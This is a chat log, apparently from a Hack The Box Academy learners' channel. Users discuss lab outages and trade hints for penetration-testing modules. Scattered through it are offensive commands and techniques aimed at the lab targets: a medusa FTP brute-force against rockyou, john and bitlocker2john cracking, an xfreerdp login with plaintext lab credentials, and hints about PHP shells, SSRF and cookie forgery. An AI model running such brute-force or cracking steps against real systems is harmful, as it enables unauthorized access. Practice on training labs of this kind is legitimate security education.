it's pretty much just killing a pod an starting up another one ^^

[glass pecan]

same here 🙂

[rustic sage]

I'm having no issues spawning machines so if you're struggling it's on your end. try clearing cache/cookies, signing out and back in, refresh the page, or all three

[foggy sierra]

then it will work ? --'

[rustic sage]

I mean I can't confirm that "it will work"... all I'm saying is I'm having no issues so I'd assume it's on your end

[foggy sierra]

nope , again its a server side problem

[manic magnet]

Maybe regional

[silk glade]

For me it does not. Used different browser. They had maintanence for today probably it caused it

[livid quest]

they are working on the problem atm

[foggy sierra]

just contacted support and told me this : We are aware of the issue and currently investigating this issue.

[glass pecan]

it looks like they saw our suffering

ok someone is having fun with this...

XD

just spawn a new target

is it dangerous if i click on it again ?

[livid quest]

totaly ... it's always to slap a tag of comedy on every problem

[glass pecan]

is anyone else having the same problem

[livid quest]

nah still looks normal on my side, just not spawning at all

[peak hamlet]

same.. not spawning here

stuck for ever

[livid quest]

jup nothing to do right now, just waiting till they solve the issue

[opaque niche]

Did they disable machine spawning?

[rustic sage]

I can still spawn machines🤷‍♂️

[opaque niche]

I could too, in fact I did a couple of sections until I couldn't

[rustic sage]

anyone free for this

[rustic sage]

apparently they know the issue and are working on it. Must only be affecting certain users

[worldly jewel]

Anyone else having trouble connecting to the other box on the lab for RDP and SOCKS Tunneling with SocksOverRDP I've waited more than the recommended time of 3-5min.

[peak hamlet]

@rustic sage try some ||poisoning|| on ||MSQL01||

[rustic sage]

I'll try

[heavy dome]

They are in the Module: Password Attach to the question, Examine the target and find out the password of the user Will. Then, submit the password as the answer;|| I created a password file with the rules on the word LoveYou1 ||and via hydra in both FTP and SSH I tried to find the password|| for Kira and Will ||but it doesn't find anything... where am I going wrong?

[west rampart]

If you still stuck in the Target is spawning process, please change the VPN Server and try again. If that doesn't help, please open up a support ticket.

[grand harbor]

nah noway

i made a custom wordlist on the pass word and the user list

both dont woprk

[manic magnet]

I think its just a html loading error of some stuff. If you reload it should be normal again

[grand harbor]

i use the command john --wordlist=wordlist hash.zip

[rustic sage]

I just did the lab... if you want to dm feel free.

[silk glade]

yeah it worked for me

[heavy dome]

no hits...

[cinder mortar]

which section is this

[heavy dome]

https://academy.hackthebox.com/module/147/section/1320

[rustic sage]

could I dm you?

[heavy dome]

ok!

[cinder mortar]

try lower case kira

then LoveYou instead of LoveYou1

[heavy dome]

i try

i found the pass... always try Kira... 🤣

[peak hamlet]

Yes buddy

[fierce sparrow]

anyone else having issues with the target not spawning?

[rustic sage]

@fierce sparrow #modules message

[fierce sparrow]

yeah will make a ticket then

[lime cargo]

Anybody getting the "no instances available" message?!?

[cinder mortar]

anyone can help me on attacking common services, easy lab, ive found the user f, tried bruteforcing all the services (smtp, rdp, mysql, ftp) but still cant find anything.

[cerulean crow]

You ever get this solved?

[fierce sparrow]

it eventually just worked after i kept trying lol

[ripe grove]

Did you use the password list from the resources?

[cinder mortar]

yes

[manic perch]

I'm stuck on the first task of the module Login brute forcing - Skills Assessment Service Login
I did create a user list with the first and lastname of the target, and did create variations of possible passwords with cupps. Tried different options here too.
Any hints?

[cinder mortar]

no hits on that

using rockyou now but its been running for 30mins and i dont think it should take that long right?

[ripe grove]

I have in my notes that I brute forced the password via ||FTP for fiona||

[cinder mortar]

hmm what wordlist did u use

[ripe grove]

though the module was a bit confusing on which wordlsts to use

I don't think it was the resources password list. I noted that it failed, but I didn't note which wordlist worked

ah, it was rockyou

and I used it with medusa

if that matters, it shouldn't, but I've gotten weird errors with cme

it should be quick, the pwd is near the top of rockyou

[cinder mortar]

hmm

[cinder mortar]

username u used fiona or [e-mail]?

i've tried both and it doesnt seem to work for either for me

[ripe grove]

just fiona

[cinder mortar]

alright ill reset the box and give it another go

[ripe grove]

||medusa -u fiona -P $tools/rockyou.txt -h $tgt -M ftp||

that's what I used

[golden vortex]

Im currently doing the vulnerability assesment vulnerability module and i cant start the box

[ripe grove]

the system is down

I just pinged support and they are working on it

[golden vortex]

oh ok thanks

[cinder mortar]

wew after a reset it finally worked...thanks

[fierce island]

Why are there flags in the boxes that are never used? Just out of curiousity. Doing the Foot printing SMTP room and I spotted a flag that is never asked for, why is that?

[ripe grove]

probably the same box used for different exercises?

[fierce island]

Was thinking that, appreciate the input

[fierce sparrow]

anyone for the FOOTPRINTING module? imap?

[cinder mortar]

Use either of these
https://donsutherland.org/crib/imap
https://www.atmail.com/blog/imap-101-manual-imap-sessions/

[fierce sparrow]

thanks

[livid bluff]

I keep redoing my VPN many time but I can't connect and I can't get the support. I only have this stupid robot...

[ripe grove]

there's some issue with the targets not spawning. I was told an hour ago that they are working on it

[fierce sparrow]

can you dm me please?

[cinder mortar]

sure

[grand harbor]

wel rip the labs

[fierce island]

Same : <

[thick hedge]

guys. how do i download and save the pws.list password list to my HTB web VM. I downloaded the pws.list from resources to my host but u cant copy n paste it into my HTB web VM.

[ripe grove]

download from the pwnbox instead?

you're much better off setting up your own kali vm and not using the pwnbox in the long run

[thick hedge]

okay thanks . so i need the change the browser settings in the pwnbox bcse it was failing to open google.

[thick hedge]

Thanks. i will consider that

[ripe grove]

I'll only use pwnbox if I need to run some tool that I don't have on kali

[swift warren]

"Academy User" is an interesting role. I haven't seen that

[thick hedge]

okay. Thanks. let me configure my own kali

[ripe grove]

looks like labs are back up

[manic perch]

For the next person, don't forget leet.

[grand harbor]

are they?{

oh ye they are

[livid bluff]

It's really irritating to have lost a day's work on the academy for nothing...
They could have done their update during the weekend and at least notify us with an email !!!!

[grand harbor]

anyone that has done the wordpress module?

[acoustic owl]

Yes., 1519 people completed the module.

[grand harbor]

im so confused

with this skill assesment

it does not even have wordpress running

or im i suppose to find subdomains

[acoustic owl]

Look into the source code

[grand harbor]

yes i did

only clue i have w3layouts

[rare needle]

hello I am starting on HTB academy and I am on a module where I am asked to put a vpn but how do we put it on the interactive instance of HTB

[grand harbor]

ok nvm i found it

damn

[autumn pilot]

the interactive instance is already connected to the vpn

so you don't have to

[rare needle]

is that if we are on a virtual machine if I understand correctly?

[autumn pilot]

yes the browser based (cloud) virtual workstation that you are provided with

[rare needle]

ok thank you

[rustic sage]

anyone free for AD Skill Assessment II? I completed the lab and can prove it I just want to confirm the attack chain also curious about another attack path which I thought should've worked

prefer to DM bc massive spoilers

[light oasis]

/image

[grand harbor]

anyone that can give me a hint on getting a shell in the wordpress skill assesment

do i need to do it with lfi

or bruteforce login

and upload php shelll;

[grand harbor]

nvm got it

[slow ruin]

Need some help with a command not working as intended in the Attacking Enterprise Networks - Lateral Movement Section.

I have both my dynamic and local port forwarding working but when I use the suggested command found in the reading ||xfreerdp /v:127.0.0.1:13389 /u:hporter /p:Gr8hambino! /drive:home,"/home/tester/tools"||

It does not work. Seems to be the wrong syntax. However if I omit everything after /drive: I am able to connect.

When connected using the net use command I get "There are no entries in the list" and I am unable to easily move tools over.

Am I missing something or need to do something a bit extra that is not explained in the section?

[slow ruin]

nvm I got it to work the issue was incorrect drive redirection

[steady hawk]

Hello, could I get a hint on the Server Side Attacks - Skills Assessment please? ||I've found a JS file which contains the following: G3tTh4tF1l34M3?l33t=http://127.0.0.1:8080/message.txt. I've tried fuzzing for parameters to try SSRF with the URL from the file, but I can't find any. I've also tried SSTI and SSI on endpoints with no luck either.||

[regal summit]

Good evening , im on this module ,Directory Fuzzing, and am in an open terminal on htb ,have seen fuff is installed , following procedure but not sure what to do

[faint oxide]

Throwing it into the ether...can I dm anyone about password attack - med. Got user:pws, docs pw, key for d*; tried to ssh every which way...missing something stupid, help please! i sofa king we todd it - got it!

[raven cairn]

For the windows privilege escalation section could I get some help with getting my command injection to work? I have been easily able to find an operator to inject commands, but I haven't been able to file transfer netcat with impacket-smbserver.

[limber sphinx]

in the module of linux fundamentals and section Service and Process Management. Can someone explain to me a how to solve the assigment:

Use the "systemctl" command to list all units of services and submit the unit name with the description "Load AppArmor profiles managed internally by snapd" as the answer.

I used this

systemctl list-units --type=service | grep "Load AppArmor profiles managed internally by snapd"

The output was blank

I used sudo and it didn't change

[slow girder]

try with just "AppArmor". Havent done the module but maybe shortening it will provide more hits

[limber sphinx]

I also did sudo systemctl status snapd.service and it says that could not be found

It works!

[slow girder]

Gj my dude

[limber sphinx]

Tyty

[west canopy]

@slow girder hey can you DM me when you have a moment?

[analog tendon]

anyone else run into issues with running nmap through rpivot?

or running anything through rpivot for that matter?

[red current]

On the Hard lab of the Password Attacks module and I'm having a hard time decrypting the Backup.vhd file. I transferred it to my Windows machine but I think the issue is that I'm running Windows 11. Has anyone have any hints they can provide for easier ways of decrypting this file?

[analog tendon]

have you cracked it or thats what your trying to do?

[red current]

No, that's what I'm trying to do. I was able to mount it to my VM and then I cp'd it and then emailed the copy to myself so that I can crack it in Windows.

[analog tendon]

well there is a fella in that module that can crack it. BUT you need to put it in the right format first

[red current]

I tried using bitlocker2john but every time I do, it doesn't appear to do anything. The file just contains some information about bitlocker2john.

[analog tendon]

whats the command youre using for b2j

[red current]

bitlocker2john Backup.vhd > backuphash.txt

[analog tendon]

close. try putting -i after bitlocker2john. it should show you that in the cheatsheet

[red current]

Ah, now I now what I missed. I was looking in the protected files instead of the protected archives section. I should have realized I wasn't doing it right as this is an archive.

Thank you, @analog tendon !

[analog tendon]

np bro. from here it should be easy sailing

and nvm for my inquiry earlier. i was able to get the flag using curl through proxychains since the command to go to the webpage through rpivot wasnt working too well

[red current]

It tends to be the little things that I overlook. I need better attention to detail if I want this as a career.

[dreamy igloo]

hello im having trouble with a module

[fathom pendant]

Ok sucks to be you

[dreamy igloo]

toxic but ok

[fathom pendant]

Just ask your question dude

Ironic your name is Bspecifik

[red current]

Why would hashcat be telling me that it's going to take over a year to crack the hash for this bitlocker drive? I already used John to get the hash.

[fathom pendant]

Because hashcat can be silly

[steady hawk]

Still stuck with this module, any help would be greatly appreciated.

[low vine]

Authentication Skills Assessment - I have logged into user ||support.us|| I have decoded cookie and reincoded to try to escalate my privelege....my finaly cookie is ||NWUyZGVhMjBlZGViNWRlNzg4OTY5YmQ5ZDQ0MWFhYTk6YjA5YzYwMGZkZGM1NzNmMTE3NDQ5YjM3%0AMjNmMjNkNjQ%3D|| What can I possibly be doing wrong or is there a diff way to escalate the priv?

(someone please hit me in the face its the last question I have before I can take the test lol)

[cinder mortar]

lol how is attacking common services easy harder than the medium :/

[fathom pendant]

That tends to happen lol

[naive sky]

Hint please for skill assement command injection module

i got stuck their every trial got malicious detected

[steady hawk]

||Try different operators. One of them won't return an error message.||

[naive sky]

could i dm you

same problem

[steady hawk]

sure